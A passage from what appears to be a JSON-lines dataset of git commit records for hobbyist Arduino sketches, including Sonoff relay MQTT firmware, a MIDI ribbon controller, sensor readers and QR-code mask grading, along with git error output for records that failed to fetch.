== \"reset\") {\n requestRestart = true;\n }\n sendStatus = true;\n}\n\nvoid setup() {\n pinMode(LED, OUTPUT);\n pinMode(RELAY, OUTPUT);\n pinMode(BUTTON, INPUT);\n pinMode(WALLSWITCH, INPUT);\n digitalWrite(LED, HIGH);\n digitalWrite(RELAY, LOW);\n Serial.begin(115200);\n EEPROM.begin(8);\n lastRelayState = EEPROM.read(0);\n if (rememberRelayState && lastRelayState == 1) {\n digitalWrite(RELAY, HIGH);\n }\n btn_timer.attach(0.05, button);\n mqttClient.set_callback(callback);\n WiFi.mode(WIFI_STA);\n WiFi.begin(WIFI_SSID, WIFI_PASS);\n Serial.println(VERSION);\n Serial.print(\"\\nUnit ID: \");\n Serial.print(\"esp8266-\");\n Serial.print(ESP.getChipId(), HEX);\n Serial.print(\"\\nConnecting to \"); Serial.print(WIFI_SSID); Serial.print(\" Wifi\"); \n while ((WiFi.status() != WL_CONNECTED) && kRetries --) {\n delay(500);\n Serial.print(\" .\");\n }\n if (WiFi.status() == WL_CONNECTED) { \n Serial.println(\" DONE\");\n Serial.print(\"IP Address is: \"); Serial.println(WiFi.localIP());\n Serial.print(\"Connecting to \");Serial.print(MQTT_SERVER);Serial.print(\" Broker . .\");\n delay(500);\n while (!mqttClient.connect(MQTT::Connect(MQTT_CLIENT).set_keepalive(90).set_auth(MQTT_USER, MQTT_PASS)) && kRetries --) {\n Serial.print(\" .\");\n delay(1000);\n }\n if(mqttClient.connected()) {\n Serial.println(\" DONE\");\n Serial.println(\"\\n---------------------------- Logs ----------------------------\");\n Serial.println();\n mqttClient.subscribe(MQTT_TOPIC);\n blinkLED(LED, 40, 8);\n digitalWrite(LED, LOW);\n }\n else {\n Serial.println(\" FAILED!\");\n Serial.println(\"\\n----------------------------------------------------------------\");\n Serial.println();\n }\n }\n else {\n Serial.println(\" WiFi FAILED!\");\n Serial.println(\"\\n----------------------------------------------------------------\");\n Serial.println();\n }\n}\n\nvoid loop() { \n mqttClient.loop();\n timedTasks();\n checkStatus();\n checkWallSwitch();\n}\n\nvoid blinkLED(int pin, int duration, int n) { \n for(int i=0; i<n; i++) { \n digitalWrite(pin, HIGH); \n delay(duration);\n digitalWrite(pin, LOW);\n delay(duration);\n }\n}\n\nvoid button() {\n if (!digitalRead(BUTTON)) {\n count++;\n } \n else {\n if (count > 1 && count <= 40) { \n digitalWrite(RELAY, !digitalRead(RELAY));\n sendStatus = true;\n } \n else if (count >40){\n Serial.println(\"\\n\\nSonoff Rebooting . . . . . . . . Please Wait\"); \n requestRestart = true;\n } \n count=0;\n }\n}\n\nvoid checkConnection() {\n if (WiFi.status() == WL_CONNECTED) {\n if (mqttClient.connected()) {\n Serial.println(\"mqtt broker connection . . . . . . . . . . OK\");\n } \n else {\n Serial.println(\"mqtt broker connection . . . . . . . . . . LOST\");\n requestRestart = true;\n }\n }\n else { \n Serial.println(\"WiFi connection . . . . . . . . . . LOST\");\n requestRestart = true;\n }\n}\n\nvoid checkStatus() {\n if (sendStatus) {\n if(digitalRead(RELAY) == LOW) {\n if (rememberRelayState) {\n EEPROM.write(0, 0);\n }\n mqttClient.publish(MQTT::Publish(MQTT_TOPIC\"\/stat\", \"off\").set_retain().set_qos(1));\n Serial.println(\"Relay . . . . . . . . . . . . . . . . . . OFF\");\n } else {\n if (rememberRelayState) {\n EEPROM.write(0, 1);\n }\n mqttClient.publish(MQTT::Publish(MQTT_TOPIC\"\/stat\", \"on\").set_retain().set_qos(1));\n Serial.println(\"Relay . . . . . . . . . . . . . . . . . . ON\");\n }\n if (rememberRelayState) {\n EEPROM.commit();\n }\n sendStatus = false;\n }\n if (requestRestart) {\n blinkLED(LED, 400, 4);\n ESP.restart();\n }\n}\n\nvoid checkWallSwitch() {\n wallSwitch = digitalRead(WALLSWITCH);\n if (wallSwitch != lastWallSwitch) {\n digitalWrite(RELAY, !digitalRead(RELAY));\n sendStatus = true;\n }\n lastWallSwitch = wallSwitch;\n}\n\nvoid timedTasks() {\n if ((millis() > TTasks + (kUpdFreq*60000)) || (millis() < TTasks)) { \n TTasks = millis();\n checkConnection();\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/ESPsonoff_TH-v1.01p\/ESPsonoff_TH-v1.01p.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bd5993e3d1c8462f3fa5b6921db9e44d3ef62180","subject":"First working version of the instrument","message":"First working version of the instrument\n","repos":"316k\/midi-ribbon-controller","old_file":"rubseq.ino","new_file":"rubseq.ino","new_contents":"#include <MIDI.h>\n#include <math.h>\n#include \"moving_average.h\"\n\n#define DEBUG\n\n#define FORCE_SENSOR_PIN 0\n#define POTENTIOMETER_PIN 1\n#define \tMIDI_PITCHBEND_MIN -8192.0\n#define \tMIDI_PITCHBEND_MAX 8191.0\n\n\/\/ Number of notes in range\n#define RANGE 24\n\n\/\/ TODO : read the midi channel from a physical source\n#define MIDI_CHANNEL 1\n\nchar last_midi_note = 0;\nchar last_midi_pitch = 0;\nchar last_midi_velocity = 0;\nint velocity;\nint potentiometer_reading;\nchar note;\nint pitch;\nchar octave = 4;\n\nvoid setup() {\n #ifdef DEBUG\n Serial.begin(9600);\n #else\n MIDI.begin();\n \/\/ All Notes Off\n MIDI.sendControlChange(123, 0, MIDI_CHANNEL);\n #endif\n}\n\nvoid loop() {\n velocity = map(analogRead(FORCE_SENSOR_PIN), 0, 1000, 0, 127);\n velocity = velocity > 4 ? velocity : 0; \/\/ Force sensor uncertainty\n\n potentiometer_reading = analogRead(POTENTIOMETER_PIN);\n\n note = potentiometer_reading * RANGE \/ 1023;\n pitch = 127 \/ 2 * (potentiometer_reading * (RANGE \/ 1023.0) - note) + 127 \/ 2;\n\n \/\/ Transpose on the right octave\n note += 12 * octave;\n\n if(velocity && pitch != last_midi_pitch) {\n #ifndef DEBUG\n MIDI.sendPitchBend((double) pitch\/127.0, MIDI_CHANNEL);\n\n \/* This is retarded. In theory, we don't need this line of code but\n * there seems to be a bug in the MIDI library.\n * Whatever... now it works.\n *\/\n MIDI.sendControlChange(0, 0, 1);\n #endif\n\n last_midi_pitch = pitch;\n }\n\n if(velocity && note != last_midi_note) {\n #ifndef DEBUG\n \/\/ Play new note\n MIDI.sendNoteOn(note, velocity, MIDI_CHANNEL);\n\n \/\/ Stop last note\n MIDI.sendNoteOff(last_midi_note, 0, MIDI_CHANNEL);\n #endif\n\n \/\/ Update last stuff\n last_midi_note = note;\n last_midi_velocity = velocity;\n } else if(velocity != last_midi_velocity) { \/\/ Only change the velocity if the note hasn't been updated\n \/\/ Aftertouch\n #ifndef DEBUG\n MIDI.sendPolyPressure(last_midi_note, velocity, MIDI_CHANNEL);\n MIDI.sendControlChange(0, 0, 1);\n #endif\n\n last_midi_velocity = velocity;\n } else if(!velocity && last_midi_note != -1) {\n #ifndef DEBUG\n MIDI.sendNoteOff(last_midi_note, 0, MIDI_CHANNEL);\n #endif\n\n last_midi_note = -1;\n last_midi_velocity = 0;\n }\n #ifdef DEBUG\n Serial.print(\"Playing note #\");\n Serial.print((int) last_midi_note);\n Serial.print(\" with pitch \");\n Serial.print((int) last_midi_pitch);\n Serial.print(\" with velocity \");\n Serial.println((int) last_midi_velocity);\n #endif\n\n delay(40);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'rubseq.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"059448828fbe76afba013375bd3d905d94e7a2be","subject":"Adding code from new blog post","message":"Adding code from new blog post\n","repos":"rniemand\/ArduinoProjects,rniemand\/ArduinoProjects,rniemand\/ArduinoProjects,rniemand\/ArduinoProjects","old_file":"learning\/Nokia-5110-Screen\/Nokia-5110-Screen.ino","new_file":"learning\/Nokia-5110-Screen\/Nokia-5110-Screen.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/rniemand\/ArduinoProjects.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"2b72107948a2cb976c13c8043905d7d43bc95a39","subject":"Adds Particle sketch","message":"Adds Particle sketch\n","repos":"SeraphimSerapis\/battlehack2015-wf,SeraphimSerapis\/battlehack2015-wf","old_file":"sketch.ino","new_file":"sketch.ino","new_contents":"int RELAY1 = D0;\n\nvoid setup() {\n pinMode(RELAY1, OUTPUT);\n digitalWrite(RELAY1, LOW);\n Spark.function(\"pay\", handlePayment);\n}\n\nvoid loop() {\n}\n\nint handlePayment(String payload) {\n digitalWrite(RELAY1, HIGH);\n return 1;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketch.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"a580a9c03eaee7eb13b080d74cf8fa8026b98fec","subject":"ultimo elementary","message":"ultimo elementary\n","repos":"eariassoto\/RFModuloArduino","old_file":"transmisor\/transmisor.ino","new_file":"transmisor\/transmisor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/eariassoto\/RFModuloArduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"9ed06e23e36e93bcf9acedab487b0922f626123d","subject":"Implemented humidity and pressure sensor code","message":"Implemented humidity and pressure sensor code\n\nunsure if I need the libraries I've uploaded, haven't figured it out yet\n","repos":"nikkistonge\/CS807","old_file":"FinalProject\/FinalProjectSketch\/FinalProjectSketch.ino","new_file":"FinalProject\/FinalProjectSketch\/FinalProjectSketch.ino","new_contents":"\n#include \"SparkFunHTU21D.h\" \/\/Humidity sensor library\n#include \"SparkFunMPL3115A2.h\" \/\/Pressure sensor library\n\n\nHTU21D myHumidity;\nMPL3115A2 myPressure;\n\nfloat humidity;\nfloat pressure;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n\n \n \/\/Initiate humidity sensor\n myHumidity.begin();\n \n \/\/Initiate pressure sensor\n myPressure.begin();\n myPressure.setModeBarometer();\n myPressure.setOversampleRate(128);\n myPressure.enableEventFlags();\n myPressure.setModeActive();\n\n\n\n \n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n getWeatherFromSensors();\n sendWeatherToImp();\n}\n\nvoid getWeatherFromSensors() {\n\n \/\/Humidity\n humidity = myHumidity.readHumidity();\n\n \/\/Pressure\n pressure = myPressure.readPressure();\n \n}\n\nvoid sendWeatherToImp() {\n \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'FinalProject\/FinalProjectSketch\/FinalProjectSketch.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"c327dc480608bc75e760bc764e51a33167973671","subject":"Create irDump.ino","message":"Create irDump.ino","repos":"ciandt-dev\/garage-kelvin-celsius,ciandt-dev\/garage-kelvin-celsius,ciandt-dev\/garage-kelvin-celsius,ciandt-dev\/garage-kelvin-celsius,ciandt-dev\/garage-kelvin-celsius","old_file":"examples\/irDump\/irDump.ino","new_file":"examples\/irDump\/irDump.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ciandt-dev\/garage-kelvin-celsius.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"d82717495dda88527cdc5537df95b1b03bab3ed4","subject":"example updated","message":"example updated\n","repos":"sasmazseda\/arduino-rotary-encoder-with-velocity","old_file":"example\/encoderSpeedTest.ino","new_file":"example\/encoderSpeedTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/sasmazseda\/arduino-rotary-encoder-with-velocity.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"48165633aea3ab19fc626655b86025a0cfee7338","subject":"Under development","message":"Under development\n","repos":"suoglu\/RGB_data_transfer,suoglu\/RGB_data_transfer","old_file":"Reciever.ino","new_file":"Reciever.ino","new_contents":" \/\/ Yigit Suoglu Jul 28, 2016\n\/\/ Reciever code with threshold detection\n\n#include <colorBit_Struct.h>\n#include <encode_decode.h>\n#include <HammingCode.h>\n#include <Adafruit_TCS34725.h>\n#include <Wire.h>\n#include <encode_decode.h>\n#include <RGB_ Detection.h>\n\n#define thErrON 0.9\n#define thErrOFF 1.3\n#define setupWaitTime 10 \/\/(ms)\nAdafruit_TCS34725 tcs = Adafruit_TCS34725(TCS34725_INTEGRATIONTIME_2_4MS, TCS34725_GAIN_4X);\n\n\nbool buff[12];\nchar ch;\n\ncolorBit th_Val[8];\nuint16_t r, g, b, c;\n\n\nvoid setup() \n{\n th_Val[0].bits[0] = 0; \/\/values for environment\n th_Val[0].bits[1] = 0;\n th_Val[0].bits[2] = 0;\n th_Val[1].bits[0] = 1; \/\/values for R\n th_Val[1].bits[1] = 0;\n th_Val[1].bits[2] = 0;\n th_Val[2].bits[0] = 0; \/\/valurs for G\n th_Val[2].bits[1] = 1;\n th_Val[2].bits[2] = 0;\n th_Val[3].bits[0] = 0; \/\/values for B\n th_Val[3].bits[1] = 0;\n th_Val[3].bits[2] = 1;\n th_Val[4].bits[0] = 1; \/\/values for RG\n th_Val[4].bits[1] = 1;\n th_Val[4].bits[2] = 0;\n th_Val[5].bits[0] = 1; \/\/values for RB\n th_Val[5].bits[1] = 0;\n th_Val[5].bits[2] = 1;\n th_Val[6].bits[0] = 0; \/\/values for GB\n th_Val[6].bits[1] = 1;\n th_Val[6].bits[2] = 1; \n th_Val[7].bits[0] = 1; \/\/values for RGB\n th_Val[7].bits[1] = 1;\n th_Val[7].bits[2] = 1;\n\n Serial.begin(250000);\n \n if (tcs.begin()) {\n Serial.println(\"Found sensor\");\n } else {\n Serial.println(\"Cannot find sensor\");\n while (1);\n }\n Serial.print(\"Getting threshold values\");\n tcs.getRawData(&r, &g, &b, &c); \/\/store environment values\n th_Val[0].r_t = (r * thErrOFF);\n th_Val[0].g_t = (g * thErrOFF);\n th_Val[0].b_t = (b * thErrOFF);\n while(r < (1.5 * th_Val[0].r_t))\n {\n tcs.getRawData(&r, &g, &b, &c); \/\/wait until red is high\n } \n Serial.print(\".\");\n delay(setupWaitTime);\n \/\/set threshold for red high\n th_Val[1].r_t = (r * thErrON); \n th_Val[1].g_t = (g * thErrOFF);\n th_Val[1].b_t = (b * thErrOFF);\n \n while((r > th_Val[1].r_t)\/* | (g < (1.5 * th_Val[0].g_t))*\/) \/\/commented out due to low program storage space\n {\n tcs.getRawData(&r, &g, &b, &c); \/\/wait until green is high and red is low\n }\n Serial.print(\".\"); \n delay(setupWaitTime);\n \/\/set threshold for green high\n th_Val[2].r_t = (r * thErrOFF); \n th_Val[2].g_t = (g * thErrON);\n th_Val[2].b_t = (b * thErrOFF); \n\n while((g > th_Val[2].g_t)\/* | (b < (1.5 * th_Val[0].b_t))*\/) \/\/commented out due to low program storage space\n {\n tcs.getRawData(&r, &g, &b, &c); \/\/wait until blue is high and green is low\n }\n Serial.print(\".\");\n delay(setupWaitTime); \n \/\/set threshold for blue high\n th_Val[3].r_t = (r * thErrOFF); \n th_Val[3].g_t = (g * thErrOFF);\n th_Val[3].b_t = (b * thErrON); \n\n while((b > th_Val[3].b_t))\n {\n tcs.getRawData(&r, &g, &b, &c); \/\/wait until blue is low\n }\n Serial.print(\".\");\n delay(setupWaitTime); \n \/\/set threshold for red-green high\n th_Val[4].r_t = (r * thErrON); \n th_Val[4].g_t = (g * thErrON);\n th_Val[4].b_t = (b * thErrOFF);\n\n while((g > th_Val[4].g_t))\n {\n tcs.getRawData(&r, &g, &b, &c); \/\/wait until green is low\n }\n Serial.print(\".\");\n delay(setupWaitTime); \n \/\/set threshold for red-blue high\n th_Val[5].r_t = (r * thErrON); \n th_Val[5].g_t = (g * thErrOFF);\n th_Val[5].b_t = (b * thErrON); \n \n while((r > th_Val[5].r_t))\n {\n tcs.getRawData(&r, &g, &b, &c); \/\/wait until red is low\n }\n Serial.print(\".\");\n delay(setupWaitTime); \n \/\/set threshold for green-blue high\n th_Val[6].r_t = (r * thErrOFF); \n th_Val[6].g_t = (g * thErrON);\n th_Val[6].b_t = (b * thErrON); \n \n while((r < th_Val[6].r_t))\n {\n tcs.getRawData(&r, &g, &b, &c); \/\/wait until red is high\n }\n Serial.print(\".\");\n delay(setupWaitTime); \n \/\/set threshold for red-green-blue high\n th_Val[7].r_t = (r * thErrON); \n th_Val[7].g_t = (g * thErrON);\n th_Val[7].b_t = (b * thErrON); \n Serial.println(\"Done\");\n}\n\nvoid loop() {\n \/* Serial.println(\"Starting Print\");\n for(int j = 0; j < 8; j++)\n {\n Serial.print(\"Env \");\n Serial.print(j);\n Serial.print(\" R: \");\n Serial.print(th_Val[j].r_t);\n Serial.print(\" G: \");\n Serial.print(th_Val[j].g_t);\n Serial.print(\" B: \");\n Serial.println(th_Val[j].b_t);\n } *\/ \/\/for testing\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Reciever.ino' did not match any file(s) known to git\n","license":"mpl-2.0","lang":"Arduino"} {"commit":"c7006e27b00a0abcdcb50db57e827440cf82976e","subject":"added config\/pre-defined loop mode switch","message":"added config\/pre-defined loop mode switch\n","repos":"Duke-Medical-Instrumentation\/Inception","old_file":"Testing\/BluetoothTesting\/ReceiverMain\/ReceiverMain.ino","new_file":"Testing\/BluetoothTesting\/ReceiverMain\/ReceiverMain.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Duke-Medical-Instrumentation\/Inception.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"a2839626cb932ab93f8a274c2049fd8eb96f5cde","subject":"Basic auto operation.","message":"Basic auto operation.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"232200a06bbf0717cc8b13be24c9f1cc5645f88d","subject":"Created findCylinder test. Does not work","message":"Created findCylinder test. Does not work\n","repos":"zteifel\/booboo,zteifel\/booboo","old_file":"Tests\/Ping_findCylinder\/Ping_findCylinder.ino","new_file":"Tests\/Ping_findCylinder\/Ping_findCylinder.ino","new_contents":"\/\/ Test of the ping sensor. Rotates the robot \n\/\/ around and gathers measurements;\n\n#include <Servo.h> \/\/ Include servo library\n \nServo servoLeft;\nServo servoRight;\n\nconst int pingPin = 8;\nconst int stepsInFullTurn = 25;\n\nlong pingDist;\nint measurements[stepsInFullTurn];\n\nconst bool clockwise = true;\nconst bool counterClockwise = false;\n\n\nvoid setup() {\n \/\/ initialize serial communication:\n Serial.begin(9600);\n \n tone(4, 2000, 500);\n servoLeft.attach(13);\n servoRight.attach(12);\n\n delay(2000); \n}\n\nvoid loop(){\n\tmeasure();\n Serial.println(arrayToString(measurements,stepsInFullTurn));\n delay(2000); \n}\n\nvoid measure(){ \n for(int i=0; i<stepsInFullTurn; i++){ \n rotateStep(counterClockwise);\n measurements[i] = measurePingDist(); \n }\n}\n\nString arrayToString(int array[], int arrayLength)\n{\n String s = \"[ \";\n for(int i=0; i < arrayLength; i++){\n s+=String(array[i])+\" \";\n }\n return s + \"]\";\n}\n\nlong measurePingDist(){\n long duration, cm;\n \/\/ The PING))) is triggered by a HIGH pulse of 2 or more microseconds.\n \/\/ Give a short LOW pulse beforehand to ensure a clean HIGH pulse:\n pinMode(pingPin, OUTPUT);\n digitalWrite(pingPin, LOW);\n delayMicroseconds(2);\n digitalWrite(pingPin, HIGH);\n delayMicroseconds(5);\n digitalWrite(pingPin, LOW);\n\n \/\/ The same pin is used to read the signal from the PING))): a HIGH\n \/\/ pulse whose duration is the time (in microseconds) from the sending\n \/\/ of the ping to the reception of its echo off of an object.\n pinMode(pingPin, INPUT);\n duration = pulseIn(pingPin, HIGH);\n\n \/\/ convert the time into a distance\n return microsecondsToCentimeters(duration);\n}\n\nvoid rotateStep(bool clockwise) {\n if(clockwise){\n servoLeft.writeMicroseconds(1700);\n servoRight.writeMicroseconds(1700);\n } else {\n servoLeft.writeMicroseconds(1300);\n servoRight.writeMicroseconds(1300);\n }\n delay(100);\n stopMovement();\n delay(100);\n}\n\nvoid stopMovement(){\n servoLeft.writeMicroseconds(1500);\n servoRight.writeMicroseconds(1500);\n}\n\nlong microsecondsToCentimeters(long microseconds){\n \/\/ The speed of sound is 340 m\/s or 29 microseconds per centimeter.\n \/\/ The ping travels out and back, so to find the distance of the\n \/\/ object we take half of the distance travelled.\n return microseconds \/ 29 \/ 2;\n}\n\nint prevIndex(int index, int arrayLength){\n return (index+arrayLength-1) % arrayLength;\n}\nint nextIndex(int index, int arrayLength){\n return (index+1) % arrayLength;\n}\nint findCylinder(){\n \/\/stepsInFullTurn;\n \/\/measurements;\n const int l = stepsInFullTurn;\n\n \n int noCylLen = 0; \n int noCyl[noCylLen];\n\n while(1){\n int nearestIndex = getIndexMin(measurements, l, noCyl, noCylLen);\n int iL = prevIndex(nearestIndex,l);\n int iR = nextIndex(nearestIndex,l);\n int intervalLength = 0;\n \n while(abs(measurements[iL])-abs(measurements[iR]) < 5){\n iL = prevIndex(iL,l);\n intervalLength++;\n }\n while(abs(measurements[iR])-abs(measurements[iR]) < 5){\n iR = prevIndex(iR,l);\n intervalLength++;\n }\n\n if(intervalLength < 5){\n return (int)(iL+intervalLength\/2) % intervalLength;\n } else {\n \/\/noCylLen += intervalLength;\n const int noCylLenNew = noCylLen + intervalLength;\n int noCylNew[noCylLenNew];\n for(int i=0; i<noCylLen; i++){\n noCylNew[i]=noCyl[i];\n }\n for(int i=noCylLen; i<noCylLenNew; i++){\n noCylNew[i] = measurements[iL + i];\n }\n noCyl = noCylNew; \n }\n }\n}\n\nint getIndexMin(int a[], int aLen, int noCyl[], int noCylLen){\n int m = 0;\n while(contains(noCyl,noCylLen,a[m++]))\n ;\n \n for(int i=0; i<aLen; i++){\n if( (noCylLen && !contains(noCyl,noCylLen,a[i])) &&\n (a[m] > a[i]) ){\n m = i;\n }\n }\n return m;\n}\n\nbool contains(int a[], int aLen, int e){\n for(int i=0; i<aLen; i++){\n if(a[i] == e)\n return true;\n }\n return false;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Tests\/Ping_findCylinder\/Ping_findCylinder.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c720bb60abad81b889f8ce606d80b74d1677082a","subject":"Adding I2C address setting example.","message":"Adding I2C address setting example.\n","repos":"sparkfun\/SparkFun_MLX90614_Arduino_Library","old_file":"examples\/MLX90614_Set_Address\/MLX90614_Set_Address.ino","new_file":"examples\/MLX90614_Set_Address\/MLX90614_Set_Address.ino","new_contents":"\/****************************************************************************** \nMLX90614_Set_Address.ino\nConfigure an MLX90614 to use a new I2C address.\n\nThis example demonstrates the setAddress function.\nIf an MLX90614 is configured for the default address (0x5A),\nit'll change the address to a new address (0x5B).\nIf the Arduino can communicate with an MLX90614 on the new\naddress, it'll print the device's ID registers.\n\nNote: for the new address to take effect, you need to cycle\npower to the MLX90614.\n\nHardware Hookup (if you're not using the eval board):\nMLX90614 ------------- Arduino\n VDD ------------------ 3.3V\n VSS ------------------ GND\n SDA ------------------ SDA (A4 on older boards)\n SCL ------------------ SCL (A5 on older boards)\n \nJim Lindblom @ SparkFun Electronics\nOctober 23, 2015\nhttps:\/\/github.com\/sparkfun\/SparkFun_MLX90614_Arduino_Library\n\nDevelopment environment specifics:\nArduino 1.6.5\nSparkFun IR Thermometer Evaluation Board - MLX90614\n******************************************************************************\/\n\n#include <Wire.h> \/\/ I2C library, required for MLX90614\n#include <SparkFunMLX90614.h> \/\/ SparkFunMLX90614 Arduino library\n\nIRTherm therm; \/\/ Create an IRTherm object to interact with throughout\n\nconst byte oldAddress = 0x5A;\nconst byte newAddress = 0x5B;\n\nvoid setup() \n{\n Serial.begin(9600); \/\/ Initialize Serial to log output\n Serial.println(\"Press a key to begin\");\n while (!Serial.available()) ;\n \n therm.begin(oldAddress); \/\/ Try using the old address first\n \n byte address;\n if (!therm.readID()) \/\/ Try reading the ID registers\n {\n \/\/ If the read fails, try re-initializing with the\n \/\/ new address. Maybe we've already set it.\n therm.begin(newAddress);\n \n if (therm.readID()) \/\/ Read from the ID registers\n { \/\/ If the read succeeded, print the ID:\n Serial.println(\"Communicated with new address.\");\n Serial.println(\"ID: 0x\" + \n String(therm.getIDH(), HEX) +\n String(therm.getIDL(), HEX));\n }\n else\n {\n Serial.println(\"Failed to communicate with either address.\"); \n }\n }\n else\n {\n \/\/ If the read suceeds, change the address to something\n \/\/ new.\n if (!therm.setAddress(newAddress))\n {\n Serial.println(\"Failed to set new address.\");\n }\n else\n {\n Serial.println(\"Set the address to 0x\" + String(newAddress, HEX));\n Serial.println(\"Cycle power to try it out.\");\n }\n }\n}\n\nvoid loop() \n{\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/MLX90614_Set_Address\/MLX90614_Set_Address.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"721679505fcbd3d1ebf31300e00af966103bd415","subject":"Create Grading.ino","message":"Create Grading.ino","repos":"budnail\/QR_Code_Gen3","old_file":"Grading.ino","new_file":"Grading.ino","new_contents":"\/\/wln 2014\n\/\/These functions grade the image in the Offscreen buffer according to the QR standard\n\/\/ Descriptions of the grading method is straight from thonky.com\n\/\/ This function draws the QR code in the buffer with each of the mask types and returns the winner\nint findBestMask(){\n \/\/temp debug\n \/\/return 2;\/\/force a certain mask for debug\n \n \/\/draw each QR image without information bits to buffer and grade\n int mode = 1;\/\/draw to buffer not screen\n int currentScore;\/\/holder for the current Score\n int bestScore = 16000;\/\/ holder for the best score (lowest). initialize with a really high number\n int bestMask = 0;\/\/ holder of the winning Mask number\n for(int i=0;i<8;i++){\/\/ there are 8 types 0-7\n clearBuff();\/\/clear the buffer\n maskType = i;\/\/set the mask type this is a global\n drawTemplate(mode);\/\/draw template in buffer. mode is set to 1\n informationBits2(mode);\/\/draw info bits in buffer. mode is set to 1\n currentScore = QRgrade();\/\/grade the code currently in the buffer\n if(currentScore < bestScore){\n bestScore = currentScore;\/\/new best score\n bestMask = maskType;\/\/record as the current winner\n }\n }\n \/\/ all masks have been tried. return the best\n return bestMask;\n}\n\nint QRgrade(){\n \/\/performs all the tests and returns the total grade on the image currently in the buffer. lower is better\n int grade=QReval_1() + QReval_2() + QReval_3() + QReval_4();\/\/perform 1st, 2nd, 3rd and 4th test\n \/\/int grade=QReval_4();\/\/debug to perform one test at a time\n if (grade<1){ grade=1;}\/\/don't believe a grade of 0, return a 1 for trouble shooting\n return grade;\/\/final score\n}\n\nint QReval_1(){\n \/* For the first evaluation condition, check each row one-by-one. If there are five consecutive modules of the same color, \n add 3 to the penalty. If there are more modules of the same color after the first five, add 1 for each additional module \n of the same color. Afterward, check each column one-by-one, checking for the same condition. Add the horizontal and \n vertical total to obtain penalty score #1.\n http:\/\/www.thonky.com\/qr-code-tutorial\/data-masking\/#evaluation-condition-1\n \n \/\/ x selects the bit of the buffer\n \/\/ x = 0 represents the first column of the module\n \/\/ y selects the 32 bit the word of the buffer\n \/\/ bit 0 represents the top most module\n *\/\n int penaltyTotal=0;\n if(qrV == 1){\n qrM = 21;\/\/number of modules per side\n }\n if(qrV == 2){\n qrM = 25;\/\/number of modules per side\n }\n if(qrV == 3){\n qrM = 29;\/\/number of modules per side\n }\n \/\/ row test: count # of consecutive modules in row of same color \n for(int j=0;j<qrM;j++){\/\/ move top to bottom\n int currentColor = -1;\/\/no color reset after each row\n int colorCount=0;\/\/reset after each row\n for(int i=0;i<qrM;i++){\/\/ move left to right\n if(bitRead(qrBuff[i],j) == currentColor){\n colorCount++;\/\/add 1 because it is consecutive\n if(colorCount == 5){\n penaltyTotal +=3;\/\/add 3 for 5 in a row\n }\n if(colorCount > 5){\n penaltyTotal +=1;\/\/add 1 for each additional in a row\n }\n }else{\n colorCount=0;\/\/not consecutive reset counter\n currentColor=bitRead(qrBuff[i],j);\/\/color change\n }\n \n }\n }\/\/end of row test\n \/\/ column test: count # of consecutive modules in column of same color \n for(int i=0;i<qrM;i++){\/\/ move left to right\n int currentColor = -1;\/\/no color reset after each row\n int colorCount=0;\/\/reset after each col\n for(int j=0;j<qrM;j++){\/\/ move top to bottom\n if(bitRead(qrBuff[i],j) == currentColor){\n colorCount++;\/\/add 1 because it is consecutive\n if(colorCount == 5){\n penaltyTotal +=3;\/\/add 3 for 5 in a row\n }\n if(colorCount > 5){\n penaltyTotal 